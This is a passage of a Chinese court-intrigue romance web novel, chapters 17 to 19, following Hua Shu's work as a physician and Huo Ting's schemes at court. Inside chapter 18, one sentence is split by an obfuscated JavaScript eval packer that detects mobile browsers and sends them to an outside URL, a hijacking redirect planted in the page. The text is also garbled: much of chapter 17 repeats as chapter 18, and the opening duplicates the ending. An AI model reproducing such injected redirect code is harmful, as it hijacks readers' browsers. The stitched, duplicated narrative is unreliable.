霍霆隐去错综复杂的权谋手段,只挑了两三个喜人消息,简洁应对。 单是从容不迫的语气,足矣令听者信服且安心:“那就好。你办事向来稳妥,为娘放心……” 华姝坐在老夫人另一侧,一边小口喝着甜甜的软糯米粥,一边安静听着,也由衷为将士们欢喜。 热粥晾了片刻,这会温度正好下口。她一连喝上几勺,饥肠辘辘的胃很快回暖而满足。 期间,老夫人慈爱地为她几次夹菜,显然已是气消。 两厢结合,华姝心情松缓,眉眼也雀跃起来。 只是始终没抬眼去瞧对面之人,偏又时刻在留意那边的动静。 忽见他慢条斯理放下玉箸,然后,话茬就莫名地转到了她身上,“若你晚间需要单独回府,我可另派人护你周全。” 却不待华姝感谢这番善解人意,老夫人的火气再度被拱起:“你哪里能如此纵她?合该早些回来,好生休息。” “嗯,母亲所言极是。” 孝顺的镇南王爷,未有丝毫反驳。 一来二去,不可晚归之事,就这么被敲定。 当事人华姝,自始至终未来得及发表一句意见。 她窦疑丛生,后知后觉想起件事,抬眼探究地看向对面。 她晚归一事,又是哪位仁兄向老夫人告状的呢? 17. 第 17 章 菊花烂漫,霜染红枫,深秋有信,岁月轮转。 日子步入九月上旬,审查兵部尚书贪污一事,进入最后的紧要阶段。 金銮殿,早朝。 霍霆一袭金蟒绯色朝服,魁岸的身形泰然坐于轮椅,位列武官之首。 对面文官之列,刑部尚书:“启禀皇上,臣在兵部侍郎等人的协助下,反复核查,现确认右佥都御史沈之鹊大人的证词与实不符。” “沈大人谏言,前任兵部尚书司空震倒卖兵马,确有其事。只是沈大人所提供的账簿,实属伪造。” “这不可能!” 沈之鹊急忙跪到殿前,“臣所提交账簿,乃亲自从那马贩子手中所获,还望皇上明鉴。” 兵部侍郎孙诚,相继出列呈禀:“启奏皇上,臣前日已带手下抓获那马贩子。此人乃司空震同党,想必之前有意帮着掩盖罪行。” “幸好,真实账簿已被臣搜查出,亦是经过刑部和户部多方查证确认,还请皇上过目。” 随后,内侍监取走账簿,直达天听。 这账簿,正是萧成悄悄从尚书府顺走的那本,如假包换。 至于沈之鹊找到的那本,即为留下的赝品,所列账目半真半假。 昭文帝正襟危坐于龙椅上,将几份奏折的证词一一过目,再瞧沈之鹊时,已然龙颜不虞:“成事不足,败事有余。” 沈之鹊顿时后脊发凉,连连叩首:“皇上恕罪,皇上恕罪。臣日后再查取证物时,必当千倍万倍严谨,再不犯此等失误。” “沈之鹊,你担任右佥都御史多年无长进,实在难堪大任。”昭文帝沉脸道:“念在你此次检举尚有可取之处,姑且外派山西监察御史。你此行务必好生锤炼,严谨督查当地官员。” 沈之鹊面如死灰,本想凭借这政绩一飞冲天,结果却被贬为地方官了哟! 可皇命不可违,他只能叩谢隆恩,颤颤巍巍地归列。 文武百官见此,无不唏嘘。 搜证本应交由刑部,他一个言官好大喜功,非要掺和查证,如今真是贪心不足蛇吞象。 霍霆觑了眼痛心疾首的沈之鹊,淡淡收回目光。 “至于司空震,胆敢倒卖战马,罪不可恕!”昭文帝再度下旨:“即日起流放岭南,永生不得释放。” “臣谨遵圣意,定对司空震严惩不贷。”刑部尚书归列。 兵部侍郎孙诚没走,“皇上,微臣先前只是暂代兵部尚书一职。如今此事已了,日后该由何人主理兵部诸事?” 昭文帝看向下方,“诸位爱卿有何见解?” 兵部尚书乃当朝正三品大员,实属要职。 能堪大任者凤毛麟角,有资格谈论此事的官员更少之又有少。 文武百官不敢轻易冒头,一时间,金銮殿鸦雀无声。 眼看事情陷入僵局,立于御案前的一人,欣然开口:“奴才拙见,镇南王少年即中进士,如今更擅调兵遣将,实为不二人选。” 东厂督公,裴夙。 自幼与圣上相伴左右,如今执掌上千名东厂番子,身着绛紫色的飞鱼服,护卫天子左右。 三十又一的他,平日保养得当,玉姿欣长。 拧断人脖子时,一双清润的月亮眼仍笑眯眯的,不见皱纹。 “咳咳……” 金銮殿上,响起一阵突兀又急促的咳嗽声。 霍霆拱手告罪,“臣这重伤未愈,着实有心无力,还请皇上恕罪。” 他这时接受兵部尚书,不仅容易暴露对当年之事的追查,还愈发功高震主。 裴夙作为天子近臣,这提议里几分真意,几分试探,在场众人皆是心知肚明。 他本人则状若无事,又笑眯眯道:“本督倒是略有诊脉的经验,不若为王爷瞧上一瞧?” 两人的目光,在半空骤然相对。 一道含笑隐刃,一道凛冽肃伐。 刹那交汇而离,又仿佛刀光剑影千万回合。 “督公平日只为皇上诊脉,本王不敢劳驾,还是下朝后去医馆罢。” 霍霆淡声回绝,转头看向霍雲,“恰好长兄这次负责安置三军,义诊的医馆颇多,不知哪位大夫好些?” 霍雲收到信号,随即出列。 该轮到他上场了。 “大夫都是好大夫,只是药材跟不上哟。” “皇上,前任兵部尚书曾言,并无银两安置将士。以致这半月来,医馆义诊日日捉襟见肘,微臣夜夜辗转难眠啊……” 霍雲长吁短叹,愁容满面,就差捶胸顿足了。 说到最后,“如今这查抄赃款所获,可否稍加分配呀?” 刚刚面露同情的百官:“……” 嚯,合着哭穷要钱来了?! 昭文帝瞧瞧病恹恹的霍霆,再看看苦大仇深的霍雲,最后与裴夙对视一眼。 呵,原来是在这等着呢。 综合考虑大局,为稳定军心,昭文帝最终批拨白银万两,用以将士安置。并由孙诚继续代理兵部诸事,辅助户部尚书下发此笔款项。 但也半开玩笑,半似敲打地看向霍霆两人,“你们还真是‘兄弟同心,其利断金’呐!” * 下朝后,御书房。 “初安,你瞧着这镇南王的双腿,可还有治愈的可能?”昭文帝边用早膳,边随口问道。 裴夙被恩赐同桌而食,但大多时都在为昭文帝布菜。 “先前派去数位太医,皆言那双腿久无知觉,药石罔治。不过,陛下既如此看重,奴才这就再派人去探访名医,想法子。” 一双笑眯眯的月牙眼,瞳仁深处,暗芒重重。 出宫的路上,烈日当头,裴夙撑着一柄遮阳伞悠然前行,伞面上水墨画仙鹤展翅,栩栩如生。 “上次约见小姝,是几月来着?” “回督主,还是阳春三月呢。”心腹容城低声道:“如今时值九月,也有半年的光景了。” “九九重阳节,正是登高时。”裴夙眼前浮出一双灵巧用银针的玉手,眸光乍暖而玩味:“这次,就安排在皇龙寺。” “皇龙寺乃皇家寺院,华姑娘要去的话,得执一封有分量的拜帖……”容城反应过来:“您是要对镇南王出手?” 寒风乍起,御花园一片的红枫叶,随风而落。 裴夙轻笑着,将其碾得粉碎。 不是他,是昭文帝。 霍霆如今在军中与民间,声望皆是颇高,是一柄双刃剑。昭文帝作为持剑人,必须要知其底细,足够驾驭。 皇帝卧榻之下,岂容猛虎酣睡? * 下午过半,回春堂内的将士,依旧络绎不绝。 很多人甚至舍近求远,只为一睹女神医仙姿。更有人热情地一再送糕点糖果,但都被华姝委拒。 趁空隙,霍千羽调侃道:“唉,郎本将心向明月,奈何明月照沟渠……唔。” 华姝捻起白糖糕,堵住她叭叭的小嘴。 “两位小姐原是喜好白糖糕,在下这里正好备着些,可好吃了。”下一位看诊的士兵,瞅准机会,又要极力攀谈。 被婉拒后,他也不气馁,献宝似的道:“皇龙寺的神医圆妙大师,近日云游归来。传闻他可起死人,肉白骨。” 士兵看向霍千羽的腿,“您何不去一试?” 这的确是个好消息。 霍千羽的腿疾,多年遍寻名医不得治,华姝早就想带她前去瞧瞧。只是圆妙大师常年云游,且寻常人也进不去那皇家寺院。 “今时不同往日呀!”霍千羽眼前一亮:“咱可以请四叔写封拜帖。” 华姝笑意微滞。 自打那晚后,两人已有数日未见。有意捅破那层窗户纸的是他,早出晚归寻不见人的也是他。 以至于筹集的银钱,想送却送不出去。 华姝没再去周莲那,最后的诊金没拿到,她就典当了首饰,加上多年积攒,凑够两千两。 一千两偿还血燕,一千两淘换珍稀药材,为霍霆清除余毒。 等他痊愈,就会回到东南边境。 届时,两人的关系就渐渐淡了,两厢清净…… “姝儿,姝儿?”霍千羽在她眼前挥挥手,“想啥呢?” 华姝回神:“哦我在想,可以请圆妙大师为四叔一同看看腿伤。” “有道理!” “可是最近都不见四叔身影啊,别回头圆妙大师又去云游了。” 霍千羽先是愁眉紧锁,转而双手合十,对天祈祷: “佛祖保佑,圆妙大师暂时不走。” “太上老君保佑,圆妙大师有灵丹妙药。” “天灵灵,地灵灵,战神四叔快显灵!” “请您速速现身,普度人间……” “噗哧。” 华姝瞧着她神神叨叨的样子,单手托腮莞尔:“我忽然想起话本子里,有个召唤人的法子。” “哪个?” “拿一开口的葫芦,对着四叔所在的方向,喊一句,”华姝另一纤手灵动比划道:“我叫你一声,你敢答应吗?” “有何不敢?” 背后,忽传来一道熟悉的肃然沉声。 “……?” “……!” 俩小姐妹顿时呆若木鸡,小心翼翼朝后瞥去。 窗外街边,等会看诊的上千将士,早已抱拳跪地,均朝同一处行礼。 那处,霍霆着一袭绣有日月山河纹的绯色蟒袍,俨然如层峦叠嶂般,巍峨而坐,自带强悍威压。 霍千羽眨巴眨巴眼:“好家伙,四叔还真显灵了……” “……见过四叔。” 华姝则耳垂被臊得滴血,慢吞吞转过身,规矩行礼。 一共就在背后议论他两次,结果次次都被听个正着。这倒霉的气运,她真该去庙里拜拜。 霍霆定睛瞧着这俩胆大包天的小家伙,脸色是领兵时的肃然,眸光则 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霍霆回看过来,“军医近日告假,过来给我瞧瞧。” 华姝脸色微变:“可是那……”毒压制不住了? 霍霆:“进去说。” 胖老板已麻溜推开一清雅幽静的内间,“王爷这边请。” 见状,华姝忙去收拾银针和手枕等物。 临进门时,半夏被长缨拦在门外,欲言又止:“姑娘?” 那晚叔侄两人的亲密,半夏已远远察觉,她这会实在不放心。 “没事,我有分寸。”华姝拍拍她手,走进去。 长缨随即关紧房门,“放心吧,有些事你不懂。” 他现在可不是被蒙在鼓里的二傻子了。 半夏白了这傻子一眼,好像那晚就他瞧见似的…… * 内间窗户朝向后院,清净而敞亮,空气中飘散着淡淡的药香。 两人对坐在方桌前,诊脉结束后,华姝收回手,“毒素积压已久。如今的药方,尚能压制您体内余毒,只是于清除毒素已无益。” “这毒刁钻。”霍霆也收回手,并未意外道:“军医已研究出法子,那药材难寻些。” 华姝点点头,想来军医是外出寻药了。 默了默,她提及皇龙寺的圆妙大师一事。 “原是因此事,才想起念叨我啊。”霍霆叹了口气,兀自饮茶。对拜帖的事,不置可否。 华姝赧颜,这般听起来,她似显得忘恩负义了些。 为着拜帖,她咬了咬唇,细声解释:“其实,我这几日也琢磨出一副药方。待圆妙大师为您诊脉后,想拿与他一并把把关。” 霍霆放下青瓷茶盏,“既非临时起念,恒心可嘉,倒也能全你这番美意。” “多谢王爷,我……” 对上男人意味深深的目光,华姝脸颊忽地一热,鲜艳欲滴。 他莫不是误会了吧,误会她日日都念着他。 她的话,好像还真有层意思。 可她又不是这意思。 华姝唇瓣开开阖阖,百口莫辩。慌忙低头假装喝茶,心跳凌乱。 霍霆饶有兴致瞧了她会,“如今安置费已宽裕,你大伯父会另招坐诊大夫。你俩连日辛劳,早些回府歇着吧。” “这是好事,可喜可贺。不过我手头有几位病患,已疗程过半。可否等他们彻底痊愈,我再结束这边的差事?” “你愿善始善终,实为好品行,也是他们的幸事。但那宋煜,已被他父亲户部尚书保释出来。” 霍霆道:“你留在这,我……和你祖母都不放心。” 华姝脸颊又一红,这人又来拿祖母压她。 但对于宋煜入狱一事,倒颇为意外。 原来霍霆在背后,还为她默默做了此事。 不好拂了他的良苦用心,华姝乖乖应下:“我明白了,多谢王爷。那我等会就去将脉案稍加整理,移交给其他大夫。” 回家后,正好专心为他解毒。 早日了结山中恩怨。 这时,长缨在门外禀告:“王爷,兵部侍郎孙大人前来巡查。得知您在此处,想邀您小酌一杯。” 此为暗语。 孙诚实为霍霆的人,如今代管兵部,查抄前兵部尚书司空震的府邸。 应是搜到当年华家灭门的线索,特来密告。 霍霆:“知道了,你且去烫壶好酒。” “是。”长缨退下。 华姝也识趣地起身告辞,临出门前,她犹豫着还是顿住脚步,善意提醒:“王爷如今身体抱恙,还是少饮酒为好。” 闻言,霍霆低笑了声。 华姝面露不解。 就见他微挑眉梢,“怎么,现在就开始管着我了?” 18. 第 18 章 下午过半,回春堂内的将士,依旧络绎不绝。 很多人甚至舍近求远,只为一睹女神医仙姿。更有人热情地一再送糕点糖果,但都被华姝委拒。 趁空隙,霍千羽调侃道:“唉,郎本将心向明月,奈何明月照沟渠……唔。” 华姝捻起白糖糕,堵住她叭叭的小嘴。 “两位小姐原是喜好白糖糕,在下这里正好备着些,可好吃了。”下一位看诊的士兵,瞅准机会,又要极力攀谈。 被婉拒后,他也不气馁,献宝似的道:“皇龙寺的神医圆妙大师,近日云游归来。传闻他可起死人,肉白骨。” 士兵看向霍千羽的腿,“您何不去一试?” 这的确是个好消息。 霍千羽的腿疾,多年遍寻名医不得治,华姝早就想带她前去瞧瞧。只是圆妙大师常年云游,且寻常人也进不去那皇家寺院。 “今时不同往日呀!”霍千羽眼前一亮:“咱可以请四叔写封拜帖。” 华姝笑意微滞。 自打那晚后,两人已有数日未见。以至于筹集的银钱,想送却送不出去。 给花魁周莲的诊治进入尾声,因疗效得当,周莲欢喜地赠与一副镶金的红宝石芙蓉头面,甚是金贵华美。 华姝命半夏去典当了这副头面,加上多年积攒,已凑够两千两。 一千两偿还血燕,一千两淘换珍稀药材,为霍霆清除余毒。 等他痊愈,两人就能彻底划清界限…… “姝儿,姝儿?”霍千羽在她眼前挥挥手,“想啥呢?” 华姝回神:“哦,我在想,可以请圆妙大师为四叔一同看看腿伤。” “有道理!” “可是最近都不见四叔身影啊,别回头圆妙大师又去云游了。” 霍千羽先是愁眉紧锁,转而双手合十,对天祈祷: “佛祖保佑,圆妙大师暂时不走。” “太上老君保佑,圆妙大师有灵丹妙药。” “天灵灵,地灵灵,战神四叔快显灵!” “请您速速现身,普度人间……” “噗哧。” 华姝瞧着她神神叨叨的样子,单手托腮莞尔:“我忽然想起话本子里,有个召唤人的法子。” “哪个?” “拿一开口的葫芦,对着四叔所在的方向,喊一句,”华姝另一纤手灵动比划道:“我叫你一声,你敢答应吗?” “有何不敢?” 背后,忽传来一道熟悉的肃然沉声。 “……?” “……!” 俩小姐妹顿时呆若木鸡,小心翼翼朝后瞥去。 窗外街边,等会看诊的上千将士,早已抱拳跪地,均朝同一处行礼。 那处,霍霆着一袭绣有日月山河纹的绯色蟒袍,俨然如层峦叠嶂般,巍峨而坐,自带强悍威压。 霍千羽眨巴眨巴眼:“好家伙,四叔还真显灵了……” “……见过四叔。” 华姝则耳垂被臊得滴血,慢吞吞转过身,规矩行礼。 一共就在背后议论他两次,结果次次都被听个正着。这倒霉的气运,她真该去庙里拜拜。 霍霆定睛瞧着这俩胆大包天的小家伙,脸色是领兵时的肃然,眸光则浮着一层浅浅的柔色。 他还不至于真跟俩孩子计较,尤其今日朝廷上心愿大成。 但瞥见那脸红垂头的少女,又罕见生出一丝计较心思,想戳一戳这只缩头小乌龟的壳。 古人亦有龟甲卜卦的法子,也不知真能灵验否。 “免礼,下不为例。” 霍霆挥手命众人起身,而后由长缨推着,莅临回春堂正门。 他此行没带糕点吃食,但带来两大箱银裸子。四侍卫抬着放到地上,“哐哐”两声震响,振奋人心。 “将军威武!” “我等誓死追随将军!” “保卫大昭!护佑百姓!” 将士们再度齐声拜谢。 回春堂的胖老板亦然:“多谢王爷!多谢王爷!草民这就去购买最对症的药材,绝不叫将士们寒心。” “坐诊大夫的酬劳,也一并按日结算。”霍霆发话。 胖老板感动不矣:“王爷英明。” 出来相迎的坐诊大夫们,也纷纷喜上眉梢。 一时间,回春堂内欢声笑语,经久不散。 唯独华姝,钦佩欢喜之余,杏眸怔然看去。 他这是在变相帮衬她吗? 霍霆回看过来,“军医近日告假,过来给我瞧瞧。” 华姝脸色微变:“可是那……”毒压制不住了? 霍霆:“进去说。” 胖老板已麻溜推开一清雅幽静的内间,“王爷这边请。” 见状,华姝忙去收拾银针和手枕等物。 临进门时,半夏被长缨拦在门外,欲言又止:“姑娘?” 那晚叔侄两人的亲密,半夏已远远察觉,她这会实在不放心。 “没事,我有分寸。”华姝拍拍她手,走进去。 长缨随即关紧房门,“放心吧,有些事你不懂。” 他现在可不是被蒙在鼓里的二傻子了。 半夏白了这傻子一眼,好像那晚就他瞧见似的…… * 内间窗户朝向后院,清净而敞亮,空气中飘散着淡淡的药香。 两人对坐在方桌前,诊脉结束后,华姝收回手,“毒素积压已久。如今的药方,尚能压制您体内余毒,只是于清除毒素已无益。” “这毒刁钻。”霍霆也收回手,并未意外道:“军医已研究出法子,那药材难寻些。” 华姝点点头,想来军医是外出寻药了。 默了默,她提及皇龙寺的圆妙大师一事。 “原是因此事,才想起念叨我啊。”霍霆叹了口气,兀自饮茶。对拜帖的事,不置可否。 华姝赧颜,这般听起来,她似显得忘恩负义了些。 为着拜帖,她咬了咬唇,细声解释:“其实,我这几日也琢磨出一副药方。待圆妙大师为您诊脉后,想拿与他一并把把关。” 霍霆放下青瓷茶盏,“既非临时起念,恒心可嘉,倒也能全你这番美意。” “多谢王爷,我……” 对上男人意味深深的目光,华姝脸颊忽地一热,鲜艳欲滴。 他莫不是误会了吧,误会她日日都念着他。 她的话,好像还真有层意思。 可她又不是这意思。 华姝唇瓣开开阖阖,百口莫辩。慌忙低头假装喝茶,心跳凌乱。 霍霆饶有兴致瞧了她会,“如今安置费已宽裕,你大伯父会另招坐诊大夫。你俩连日辛劳,早些回府歇着吧。” “这是好事,可喜可贺。不过我手头有几位病患,已疗程过半。可否等他们彻底痊愈,我再结束这边的差事?” 华姝思及周莲的病情,还得去看诊一两次,遂柔声打起商量。 “你愿善始善终,实为好品行,也是他们的幸事。”霍霆道:“但你已连日辛劳,再留在这,我……和你祖母都很挂念。” 华姝脸颊又一红,“那我再留最后两日,行不行?” 她解释道:“将脉案稍加整理,移交给其他大夫。然后就回府去,专心为您解毒。” 也不知是哪句话打动了霍霆,只见他唇角微勾,点头应允。 华姝的唇角,也忍不住翘起一抹雀跃的小弧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037419|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度:“多谢王爷。” 这时,长缨在门外禀告:“王爷,兵部侍郎孙大人前来巡查。得知您在此处,想邀您小酌一杯。” 此为暗语。 孙诚实为霍霆的人,如今代管兵部,查抄前兵部尚书司空震的府邸。 应是搜到当年华家灭门的线索,特来密告。 霍霆:“知道了,你且去烫壶好酒。” “是。”长缨退下。 华姝也识趣地起身告辞,临出门前,她犹豫着还是顿住脚步,善意提醒:“王爷如今身体抱恙,还是少饮酒为好。” 闻言,霍霆低笑了声。 华姝面露不解。 就见他微挑眉梢,“怎么,现在就开始管着我了?” 她怔怔地反映一瞬,然后脑中轰得一声,雪腮爆红,落荒而逃。 * 华姝从幽静的包间里,一路逃回人声鼎沸的医馆大堂。 斜映入窗的光影,跳动在她频频眨动的长睫上,羞涩渐渐褪去,取而代之的是隐隐不安。 自打霍霆回府后,她一直反复猜测他的态度。 先前数日,他言行举止皆是端方持重,虽对她照料颇多,亦可归位长辈慈爱。 然而,今日这番话…… 后面她去还钱两清,他会同意吗? “华姑娘,有个药方子得麻烦您过来帮我掌掌眼。” 胖老板将华姝叫到后院,避开霍千羽等人,悄悄告知:“那花魁的丫鬟来寻您,已将其带至那间厢房。” “多谢陈老板。”华姝感激他的周全,然后独自前往厢房,得知周莲晚上有客人,想请她今日早点过去看诊。 华姝略略思量,想到一个脱身的法子,隧答应下来:“那就,半个时辰后罢。” 送走那小丫鬟,她转身往大堂走。 途经那间雅致的包间,正逢长缨推开门,将满满一壶烧刀子酒端进去。 霍霆则兀自倒上一盏热茶,白雾冉升,茶香四溢。 “今日,本王可能要怠慢孙大人了,只能以茶代酒,与你小酌片刻。” 孙诚反应过来:“王爷伤势未愈,是下官考虑不周啊。” “也不全是,家里有人管。”霍霆轻笑道。 孙诚又反应一瞬,这镇南王早年一心保家卫国,迟迟未曾娶妻,据说连妾室、通房也没有过。 那这能管得住堂堂亲王的家人…… 孙诚会意一笑:“王爷当真孝顺啊。” 门外,华姝听懂了霍霆的弦外音后,已先一步背过身,匆匆退避。 但听完这位孙大人的回答,原本倍感忧惧的她,竟是神奇地笑出了声。 霍霆目送那抹倩影渐行渐远,直至长缨彻底关上门,才收回目光,亦是凤眸含笑。 * 随后,华姝与霍千羽提及刚刚在包间的谈话。 两人经商议,霍千羽提前回府歇着,顺便整理那几个士兵的脉案。 华姝则以去给霍霆买治伤药材为由,绕道去了周莲的家中。 殊不知,这会天还亮着,且她这次并非从回春堂后门悄悄前往,被守在暗处的萧成发现了,并一路跟去。 她更不知的是,一驾马车随后也停在周家门口,走进去一位锦袍公子。 与华姝才退亲的宋家大郎,宋煜。 “他怎么也来了?” “不会是想与嫂子重燃旧情吧?” 萧成再度急得抓耳挠腮,嫂夫人这护花使者可真不好当啊! “不行,你赶紧去告诉老大。” 上回已被霍霆迁怒的那属下,堂堂八尺大汉,急得差点哭出来:“萧将军,您这次能不能换个人呐?” 我害怕啊—— 19. 第 19 章 与此同时,回春堂的包间内。 兵部侍郎孙诚,压低声音道:“王爷交代给下官的差事,已有着落了。” 说着,他从贴身的衣襟里,掏出一纸油黄信封,双手递给过去,“此乃从司空震的密室里搜查所获。” 想到什么,他又连忙补充道:“信上之言,下官可对天担保,绝不会向外透露半字!” “用人不疑疑人不用,你我不必如此。” 霍霆泰然自若地接过密信,展开信纸。大致浏览后,神色陡然一沉。 原来,华姝父亲出事前,除了向霍霆求助,还曾向一位友人寻求帮助。 但那友人出卖了华不为。 将其行踪透露给司空震,两人为向那幕后之人谄媚邀功,一边秘密截杀霍霆,一边设计火烧华家满门。 而这友人,名曰冯紫山。 但现如今,他还有另一重身份—— 皇龙寺的神医,圆妙大师! 思及华姝先前才提及的话语,霍霆右手蓦地紧攥成拳,密信霎时褶皱成一团。 不算狭窄的包间内,原本喷香四溢的茶雾气,此刻冷凝至极点,侵袭着每一个角落,令人不寒而栗。 然而这时,经长缨通禀,萧成手下的那个倒霉脑袋,期期艾艾走进来。 瞧见霍霆脸黑如墨,那人越发欲哭无泪:“将、将军,属下有、有事禀告……” * 华姝也没想到,花魁周莲竟是宋煜私养的外室。 要知道,宋家大郎在外人眼中一向是端方君子,清廉为民。面前扶门而立的醉酒男子,她差点没认出。 半夏也嗤之以鼻,幸好自家姑娘退亲了。 周莲不知实情,只顾娇笑地上前搀扶宋煜。 病情大好,她迫不及待想挽回夫主的心,但未料到他今日来得这般早,只好对华姝道:“女神医,今日要不先到这?我家郎君难得回来一趟。” “那我们便不叨扰了。” 华姝乐得自在,起身就往外走。 怎知,宋煜酒酣思淫,“这神医竟是个小娘子,面纱取下来,给本公子瞧瞧。” “你放肆!”半夏拦着在中间,怒斥。 “一边去。” 宋煜不耐烦将她推搡开,旋即一把拽住华姝,扯下面纱。 见她秀美雪靥,他惊艳咂舌:“秀色掩今古,荷花羞玉颜。好一个尤物……等等,怎么如此眼熟?” “还请公子自重!”华姝羞愤难当,奋力挣扎。 宋煜酒醒几分,松开了手,华姝连连后退。 他则步步逼近,端详着她锦缎罗裙,熟悉俏脸,“医术、贵女……你是华姝?” 萧成隐在屋顶,迈出去的脚,又迟疑停住。 如今变成了旧爱相认,他的身份,没资格管呐。 老大怎么还没到啊? 屋檐下,“我是偷跑出来的,不愿被家人知晓,想必宋公子亦然。不若我们就当从未见过,此事一笔勾销,如何?” 发现宋煜不可告人的秘密,但又在他的地盘上,华姝不得不防。她先假意露出把柄示弱,又佯装镇静求和。 而撑在半夏胳膊上的纤手,还在颤抖。 “既窥得我秘密,你还想走?”宋煜冷笑:“来人呐,给我抓住她俩!” “是!”数名小厮当即将她俩包围。 华姝主仆警惕盯着他们,脸色唰白。 “女神医乃妾的救命恩人,还请郎君高抬贵手。”周莲上前好言相劝,却被宋煜一巴掌掀飞在地,“你给我滚开。” 华姝见状,脸色越发惨白。 惊惶间,她想起霍霆的叮嘱,“宋公子,我乃镇南王府中人,您当真要将事情做绝?” 此话一出,小厮们骤然僵住,“镇南王?” 周莲也惊诧:“可是那位率领七万大军,凯旋回京的镇南王?” 宋煜的酒意,更是彻底消散,满身冷汗。 该死!他先前多番嫌弃这华姝是个孤女,竟忘了她与镇南王的关系。 如今镇南王手握重兵,就连圣上都得给三分薄面,他更得罪不起。 但眼下已经得罪了,那就只能毁尸灭迹…… “是在下酒后失得,多谢华姑娘大度不计较,改日定登门道歉。”宋煜恭敬地拱手赔礼。 “宋公子言重了。”华姝信以为真,扶着半夏匆忙往外走。 怎知,转身刹那—— “女神医小心!” 周莲尖声提醒。 事发突然,华姝根本来不及反应,眼看匕首就刺入她心口,突然这时,一柄飞镖“咻”得凌空射来,径直打飞宋煜的匕首。 “是谁?” “谁干的?” “给我滚出来!” 宋煜主仆瞬变惊弓之鸟,转着圈慌张找人。 华姝三人也左顾右盼,奈何天色渐晚,视线昏暗。 屋顶高处,霍霆迎风矗立,玄色的宽袖锦袍猎猎飞舞,与夜色融为一体。 他脸色沉郁,在听到华姝那句“我乃镇南王府之人”后,稍有和缓。 霍霆漠然觑着脚下的人不断叫嚣,却没动。 他腿上痊愈的事,不宜暴露。暗中保护华姝一事,也不宜暴露给当年的幕后凶手,更避免她徒增紧张。 “你去,只说正好路过。” 萧成不解:“这可是英雄救美,老大不亲自去?” 霍霆不耐瞧他,一脚就踹下去。 “哎哎哎——” “哐!” 萧成摔个四仰八叉。 这冤枉气,加窝囊气,最终还是他来受了…… 为挽回面子,他一个鲤鱼打滚翻身而起,“砰砰”几拳将人全打倒在地。 然后若无其事地朝华姝打招呼:“咱又见面了哈。” “……嗯。” 华姝呆滞半晌,脸色稍有恢复,“萧将军何故在此?” “我正好路过,听着像您的声音,就进来瞧瞧。”萧成脸不红心不跳。 华姝敬他是位将军,一时不疑,连忙郑重福身,“多谢萧将军。” “使不得!使不得!” 萧成像被火烧屁股,跳脚躲开,“天色不早了,此处有我,您早些回府吧。”要不然老大又得揍他。 华姝环顾乌烟瘴气的小院,心有余悸,长睫犹颤:“有劳。” 走出两步,她又回身,轻声问:“萧将军,我既无事,可否别再叨扰王爷?” “这……要不您敲晕我?” “……” 宋煜盯着华姝远去,双眼阴鸷。 近日,兵部尚书贪污一事被揭发,连带其女贤妃被废。皇后重病多年,后宫无主,皇上已有意让他胞妹入宫主持大局。 待成为国舅,不论霍霆,还是华姝,他一个都不放过! 然后,不待宋煜做国舅爷,先被萧成扭送至顺天府的大牢。 * 华姝回到霍府,从偏门悄悄回到月桂居,连饮下数盏安神茶,才长长吁出一口浊气。 而后蔫蔫地倚在软塌上,无心用晚膳,一边点数现存的银钱,一边思量该如何应对霍霆。 认错是应当的,唯求他别告知祖母,别让老人家跟着担心。 不料,她转眼就被丫鬟捉住去了千竹堂。 灯火通明的主屋,圆桌上已摆满饭菜,都是她爱吃的。 只是某位老人家坐在软塌上,正生闷气呢。 华姝心虚不矣,环视一圈屋子,意外没瞧见霍霆的身影。 巧合么? 也对,萧将军应该没她回府快。 呼…… 华姝提着一路的心,悄然放平。 然后强打精神,低眉垂眼走上前,轻摇着老夫人衣袖,软糯糯地撒娇:“祖母,姝儿知错了,日后再不敢贪晚了。” “哼。”老夫人扭头不去瞧她,但也没拂开她手。 华姝勾起唇角,再接再厉:“祖母,咱先吃饭饭吧,好不好嘛……” “咳。” 身后的净室,忽传来一道熟悉的男性清咳。 正撒娇的华姝,哑愣一瞬。 紧接着,脸颊腾得蹿红,耳边直冒热气。 他、他何时来的呀? 秀气的小脸苦皱一团,窘样可爱极了。老夫人先被逗乐:“行吧,人已到齐,先用膳。” 屋内的仆从们也乐不可支,但碍于王爷在场,无人敢失礼。 桂嬷嬷憋笑去搀扶老夫人,其他丫鬟则抿嘴偷笑着忙活起来。 唯有华姝认命地松开老夫人衣袖,慢吞吞转过身,眼睫微垂,规矩福身行礼:“见过四叔。” 明亮烛台的光影,自高处洒落在她身上,桃粉罗裙染有柔和暖光,香腮也粉嫩嫩的。 嗓音低软,没了先前撒娇耍赖的肥胆儿。 但精神头,倒比霍霆预想中的好些,“先用膳。” 见他没发难,华姝彻底松口气。 乖巧点点头,红脸躲去净室梳洗,往脸上泼了好几捧冷水。 饭桌上,也只闷闷地蔫头吃饭。 本想喝碗热粥,奈何那只白玉雕花大碗摆在他手边,她咬咬唇没吭声。 霍霆全程看在眼里,轻扯嘴角:“给表姑娘换碗甜粥。” 丫鬟忙恭敬应是。 华姝抬头看去,霍霆也转眸看来,神色如常:“你腹饥太久,先喝热粥,暖胃。” 应是萧将军还未禀告吧。 华姝赧颜于他的细心,“多谢四叔。” 旁边,不明真相的老夫人,见此亲睦的情景,笑容颇为欣慰:“不错不错,见你们叔侄俩感情越来越好,我就放心了。” 叔:“……” 侄:“……” 随后,老夫人问及将士们的安置近况:“你大哥最近早出晚归,也没来得及问,那安置费可筹备齐全,是否需要家里再想想法子?” “此事儿子已有应对,母亲无需挂心。” 霍霆隐去错综复杂的权谋手段,只挑了两三个喜人消息,简洁应对。 不过,单是他从容不迫的语气,已足矣令人信服且安心:“那就好。你办事向来稳妥,为娘放心……” 华姝坐在旁边,边小口喝着甜粥,边安静听着,也由衷为将士们欢喜。 先前大伯父为此愁容惨淡,如今才过去几日,已被霍霆轻易破解。 